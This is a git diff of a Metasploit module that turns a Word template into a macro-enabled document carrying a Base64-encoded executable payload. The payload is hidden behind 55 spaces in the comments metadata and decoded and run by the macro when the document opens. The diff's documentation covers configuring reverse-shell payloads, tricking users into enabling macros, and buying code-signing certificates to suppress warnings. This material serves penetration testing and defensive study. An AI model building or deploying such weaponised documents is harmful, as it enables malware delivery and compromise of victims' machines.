diff --git a/data/exploits/office_word_macro/[Content_Types].xml b/data/exploits/office_word_macro/[Content_Types].xml deleted file mode 100644 index adcd5a2cc9..0000000000 --- a/data/exploits/office_word_macro/[Content_Types].xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/_rels/__rels b/data/exploits/office_word_macro/_rels/__rels deleted file mode 100644 index fdd8c4f371..0000000000 --- a/data/exploits/office_word_macro/_rels/__rels +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/core.xml b/data/exploits/office_word_macro/core.xml new file mode 100644 index 0000000000..8158becf35 --- /dev/null +++ b/data/exploits/office_word_macro/core.xml @@ -0,0 +1,13 @@ + + + + + + + + Nobody + 1 + 2017-05-25T19:12:00Z + 2017-05-25T19:28:00Z + + diff --git a/data/exploits/office_word_macro/docProps/app.xml b/data/exploits/office_word_macro/docProps/app.xml deleted file mode 100644 index b7deadb9e8..0000000000 --- a/data/exploits/office_word_macro/docProps/app.xml +++ /dev/null @@ -1,2 +0,0 @@ - -1051110Microsoft Office Word011falseTitle1false10falsefalse15.0000 \ No newline at end of file diff --git a/data/exploits/office_word_macro/docProps/core.xml b/data/exploits/office_word_macro/docProps/core.xml deleted file mode 100644 index 0e7d44d727..0000000000 --- a/data/exploits/office_word_macro/docProps/core.xml +++ /dev/null @@ -1,2 +0,0 @@ - -Windows User PAYLOADGOESHEREWindows User322017-02-01T20:39:00Z2017-02-02T22:26:00Z \ No newline at end of file diff --git a/data/exploits/office_word_macro/template.docx b/data/exploits/office_word_macro/template.docx new file mode 100644 index 0000000000..7a3244e700 Binary files /dev/null and b/data/exploits/office_word_macro/template.docx differ diff --git a/data/exploits/office_word_macro/word/vbaData.xml b/data/exploits/office_word_macro/vbaData.xml similarity index 60% rename from data/exploits/office_word_macro/word/vbaData.xml rename to data/exploits/office_word_macro/vbaData.xml index 18d7c2dc9b..d3b0f6a263 100644 --- a/data/exploits/office_word_macro/word/vbaData.xml +++ b/data/exploits/office_word_macro/vbaData.xml @@ -1,2 +1,2 @@ - \ No newline at end of file + \ No newline at end of file diff --git a/data/exploits/office_word_macro/vbaProject.bin b/data/exploits/office_word_macro/vbaProject.bin new file mode 100644 index 0000000000..0feb5de89a Binary files /dev/null and b/data/exploits/office_word_macro/vbaProject.bin differ diff --git a/data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels b/data/exploits/office_word_macro/vbaProject.bin.rels similarity index 100% rename from data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels rename to data/exploits/office_word_macro/vbaProject.bin.rels diff --git a/data/exploits/office_word_macro/word/_rels/document.xml.rels b/data/exploits/office_word_macro/word/_rels/document.xml.rels deleted file mode 100644 index 0767526cf8..0000000000 --- a/data/exploits/office_word_macro/word/_rels/document.xml.rels +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/document.xml b/data/exploits/office_word_macro/word/document.xml deleted file mode 100644 index 6a8a649e91..0000000000 --- a/data/exploits/office_word_macro/word/document.xml +++ /dev/null @@ -1,2 +0,0 @@ - -DOCBODYGOESHER diff --git a/data/exploits/office_word_macro/word/fontTable.xml b/data/exploits/office_word_macro/word/fontTable.xml deleted file mode 100644 index 43997894d3..0000000000 --- a/data/exploits/office_word_macro/word/fontTable.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/settings.xml b/data/exploits/office_word_macro/word/settings.xml deleted file mode 100644 index 2b96121e32..0000000000 --- a/data/exploits/office_word_macro/word/settings.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/styles.xml b/data/exploits/office_word_macro/word/styles.xml deleted file mode 100644 index e51ea329dd..0000000000 --- a/data/exploits/office_word_macro/word/styles.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/theme/theme1.xml b/data/exploits/office_word_macro/word/theme/theme1.xml deleted file mode 100644 index 9c5cd2b64f..0000000000 --- a/data/exploits/office_word_macro/word/theme/theme1.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/vbaProject.bin b/data/exploits/office_word_macro/word/vbaProject.bin deleted file mode 100644 index ec7ea683e1..0000000000 Binary files a/data/exploits/office_word_macro/word/vbaProject.bin and /dev/null differ diff --git a/data/exploits/office_word_macro/word/webSettings.xml b/data/exploits/office_word_macro/word/webSettings.xml deleted file mode 100644 index f660c38903..0000000000 --- a/data/exploits/office_word_macro/word/webSettings.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/documentation/modules/exploit/multi/fileformat/office_word_macro.md b/documentation/modules/exploit/multi/fileformat/office_word_macro.md index 0542810dbc..d36db9836e 100644 --- a/documentation/modules/exploit/multi/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/multi/fileformat/office_word_macro.md @@ -1,13 +1,16 @@ ## Description -This module generates a macro-enabled Microsoft Office Word document. It does not target a specific -CVE or vulnerability, this is more of a feature-abuse in Office, however this type of -social-engineering attack still remains common today. +This module generates a macro-enabled Microsoft Office Word document (docm). It does not target a +specific CVE or vulnerability, instead it's more of a feature-abuse in Office, and yet it's still a +popular type of social-engineering attack such as in ransomware. -There are many ways to create this type of malicious doc. The module injects the Base64-encoded -payload in the comments field, which will get decoded back by the macro and executed as a Windows -executable when the Office document is launched. +By default, the module uses a built-in Office document (docx) as the template. It injects the +Base64-encoded payload into the comments field, which will get decoded back by the macro and executed +as a Windows executable when the Office document is launched. + +If you do not wish to use the built-in docx template, you can also choose your own. Please see more +details below. ## Vulnerable Application @@ -22,58 +25,74 @@ Specifically, this module was tested specifically against: * Microsoft Office 2016. * Microsoft Office Word 15.29.1 (161215). +## Building the Office Document Template + +It is recommended that you build your Office document (docx) template from either one of these +applications: + +* Google Docs +* Microsoft Office Word + +**Google Docs** + +Google Docs is ideal in case you don't have Microsoft Office available. + +Before you start, make sure you have a Gmail account. + +Next, to create a new document, please go to the following: + +[https://docs.google.com/document/?usp=mkt_docs](https://docs.google.com/document/?usp=mkt_docs) + +To save the document as a docx on Google docs: + +1. Click on File +2. Go to Download as +3. Click on Microsoft Word (.docx) + +**Microsoft Office Word** + +If you already have Microsoft Office, you can use it to create a docx file and use it as a template. + + ## Verification Steps +**To use the default template** + 1. ```use exploit/multi/fileformat/office_word_macro``` 2. ```set PAYLOAD [PAYLOAD NAME]``` -3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc) +3. Configure the rest of the settings accordingly (LHOST, LPORT, etc) 4. ```exploit``` 5. The module should generate the malicious docm. +**To use the custom template** + +1. ```use exploit/multi/fileformat/office_word_macro``` +2. ```set PAYLOAD [PAYLOAD NAME]``` +3. ```set CUSTOMTEMPLATE [DOCX PATH]``` +4. Configure the rest of the settings accordingly +5. ```exploit``` +6. The module should generate the malicious docm. + ## Options -**BODY** Text to put in the Office document. See **Modification** below if you wish to modify more. - -## Demo - -In this example, first we generate the malicious docm exploit, and then we set up a -windows/meterpreter/reverse_tcp handler to receive a session. Next, we copy the docm -exploit to a Windows machine with Office 2013 installed, when the document runs the -macro, we get a session: - -![macro_demo](https://cloud.githubusercontent.com/assets/1170914/22602348/751f9d66-ea08-11e6-92ce-4e52f88aaebf.gif) - -## Modification - -To use this exploit in a real environment, you will most likely need to modify the docm content. -Here's one approach you can do: - -1. Use the module to generate the malicious docm -2. Copy the malicious docm to the vulnerable machine, and edit it with Microsoft Office (such as 2013). - When you open the document, the payload will probably do something on your machine. It's ok, - since you generated it, it should not cause any problems for you. -3. Save the doc, and test again to make sure the payload still works. - -While editing, you should avoid modifying the following unless you are an advanced user: - -* The comments field. If you have to modify this, make sure to create 55 empty spaces - in front of the payload string. The blank space is for making the payload less obvious - at first sight if the user views the file properties. -* The VB code in the macro. +**CUSTOMTEMPLATE** A docx file that will be used as a template to build the exploit. ## Trusted Document By default, Microsoft Office does not execute macros automatically unless it is considered as a trusted document. This means that if a macro is present, the user will most likely need to manually -click on the "Enable Content" button in order to run the macro. +click on the "Enable Content" or "Enable Macro" button in order to run the macro. Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick the user into allowing the macro to run. For example, making the document look like something written from a legit source, such as [this attack](https://motherboard.vice.com/en_us/article/these-hackers-cleverly-disguised-their-malware-as-a-document-about-trumps-victory). -To truly make the macro document to run without any warnings, you must somehow figure out a way to +To truly make the macro document run without any warnings, you must somehow figure out a way to sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts. +If money is not an issue, you can easily buy a certificate on-line: +[https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html](https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html) + For testing purposes, another way to have a certificate is to create a self-signed one using Microsoft Office's SELFCERT.exe utility. This tool can be found in the following path on Windows: diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb index 8c1313b9ce..9e73b887f0 100644 --- a/modules/exploits/multi/fileformat/office_word_macro.rb +++ b/modules/exploits/multi/fileformat/office_word_macro.rb @@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => "Microsoft Office Word Malicious Macro Execution", 'Description' => %q{ - This module generates a macro-enabled Microsoft Office Word document. The comments - metadata in the data is injected with a Base64 encoded payload, which will be + This module injects a malicious macro into a Microsoft Office Word document (docx). The + comments field in the metadata is injected with a Base64 encoded payload, which will be decoded by the macro and execute as a Windows executable. For a successful attack, the victim is required to manually enable macro execution. @@ -56,66 +56,232 @@ class MetasploitModule < Msf::Exploit::Remote )) register_options([ - OptString.new("BODY", [false, 'The message for the document body', - 'Contents of this document are protected. Please click Enable Content to continue.' - ]), - OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) + OptPath.new("CUSTOMTEMPLATE", [false, 'A docx file that will be used as a template to build the exploit']), + OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm']) ]) end + def get_file_in_docx(fname) + i = @docx.find_index { |item| item[:fname] == fname } - def on_file_read(short_fname, full_fname) - buf = File.read(full_fname) - - case short_fname - when /document\.xml/ - buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) - when /core\.xml/ - p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe - b64_payload = ' ' * 55 - b64_payload << Rex::Text.encode_base64(p) - buf.gsub!(/PAYLOADGOESHERE/, b64_payload) + unless i + fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}") end - # The original filename of __rels is actually ".rels". - # But for some reason if that's our original filename, it won't be included - # in the archive. So this hacks around that. - case short_fname - when /__rels/ - short_fname.gsub!(/\_\_rels/, '.rels') - end - - yield short_fname, buf + @docx.fetch(i)[:data] end + def add_content_type_extension(extension, content_type) + if has_content_type_extension?(extension) + update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type) + else + xml = get_file_in_docx('[Content_Types].xml') + types_node = xml.at('Types') - def package_docm(path) - zip = Rex::Zip::Archive.new + unless types_node + fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.') + end - Dir["#{path}/**/**"].each do |file| - p = file.sub(path+'/','') + child_data = "" + types_node.add_child(child_data) + end + end - if File.directory?(file) - print_status("Packaging directory: #{file}") - zip.add_file(p) - else - on_file_read(p, file) do |fname, buf| - print_status("Packaging file: #{fname}") - zip.add_file(fname, buf) + def has_content_type_extension?(extension) + xml = get_file_in_docx('[Content_Types].xml') + xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false + end + + def add_content_type_partname(part_name, content_type) + ctype_xml = get_file_in_docx('[Content_Types].xml') + types_node = ctype_xml.at('Types') + + unless types_node + fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.') + end + + child_data = "" + types_node.add_child(child_data) + end + + def update_content_type(pattern, attribute, new_value) + ctype_xml = get_file_in_docx('[Content_Types].xml') + doc_xml_ctype_node = ctype_xml.at(pattern) + if doc_xml_ctype_node + doc_xml_ctype_node.attributes[attribute].value = new_value + end + end + + def add_rels_relationship(type, target) + rels_xml = get_file_in_docx('_rels/.rels') + relationships_node = rels_xml.at('Relationships') + + unless relationships_node + fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node') + end + + last_index = get_last_relationship_index_from_rels + relationships_node.add_child("") + end + + def add_doc_relationship(type, target) + rels_xml = get_file_in_docx('word/_rels/document.xml.rels') + relationships_node = rels_xml.at('Relationships') + + unless relationships_node + fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.') + end + + last_index = get_last_relationship_index_from_doc_rels + relationships_node.add_child("") + end + + def get_last_relationship_index_from_rels + rels_xml = get_file_in_docx('_rels/.rels') + relationships_node = rels_xml.at('Relationships') + + unless relationships_node + fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node') + end + + relationships_node.search('Relationship').collect { |n| + n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i + }.max + end + + def get_last_relationship_index_from_doc_rels + rels_xml = get_file_in_docx('word/_rels/document.xml.rels') + relationships_node = rels_xml.at('Relationships') + + unless relationships_node + fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node') + end + + relationships_node.search('Relationship').collect { |n| + n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i + }.max + end + + def inject_macro + add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject') + add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml') + + pattern = 'Override[@PartName="/word/document.xml"]' + attribute_name = 'ContentType' + scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml' + update_content_type(pattern, attribute_name, scheme) + + scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject' + fname = 'vbaProject.bin' + add_doc_relationship(scheme, fname) + + @docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml } + @docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels} + @docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin} + end + + def get_vbadata_xml + File.read(File.join(macro_resource_directory, 'vbaData.xml')) + end + + def get_vbaproject_bin_rels + File.read(File.join(macro_resource_directory, 'vbaProject.bin.rels')) + end + + def get_vbaproject_bin + File.read(File.join(macro_resource_directory, 'vbaProject.bin')) + end + + def get_core_xml + File.read(File.join(macro_resource_directory, 'core.xml')) + end + + def create_core_xml_file + add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml') + add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml') + @docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) } + end + + def inject_payload + p = padding = ' ' * 55 + p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe) + + begin + core_xml = get_file_in_docx('docProps/core.xml') + rescue Msf::Exploit::Failed + end + + unless core_xml + print_status('Missing docProps/core.xml to inject the payload to. Using the default one.') + create_core_xml_file + core_xml = get_file_in_docx('docProps/core.xml') + end + + description_node = core_xml.at('//cp:coreProperties//dc:description') + description_node.content = p + end + + def unpack_docx(template_path) + doc = [] + + Zip::File.open(template_path) do |entries| + entries.each do |entry| + if entry.name.match(/\.xml|\.rels$/i) + content = Nokogiri::XML(entry.get_input_stream.read) + else + content = entry.get_input_stream.read end + + vprint_status("Parsing item from template: #{entry.name}") + + doc << { fname: entry.name, data: content } end end - zip.pack + doc end + def pack_docm + @docx.each do |entry| + if entry[:data].kind_of?(Nokogiri::XML::Document) + entry[:data] = entry[:data].to_s + end + end + + Msf::Util::EXE.to_zip(@docx) + end + + def macro_resource_directory + @macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') + end + + def get_template_path + if datastore['CUSTOMTEMPLATE'] + datastore['CUSTOMTEMPLATE'] + else + File.join(macro_resource_directory, 'template.docx') + end + end def exploit - print_status('Generating our docm file...') - path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') - docm = package_docm(path) + template_path = get_template_path + + unless File.extname(template_path).match(/\.docx$/i) + fail_with(Failure::BadConfig, 'Template is not a docx file.') + end + + print_status("Using template: #{template_path}") + @docx = unpack_docx(template_path) + + print_status('Injecting payload in document comments') + inject_payload + + print_status('Injecting macro and other required files in document') + inject_macro + + print_status("Finalizing docm: #{datastore['FILENAME']}") + docm = pack_docm file_create(docm) - super end end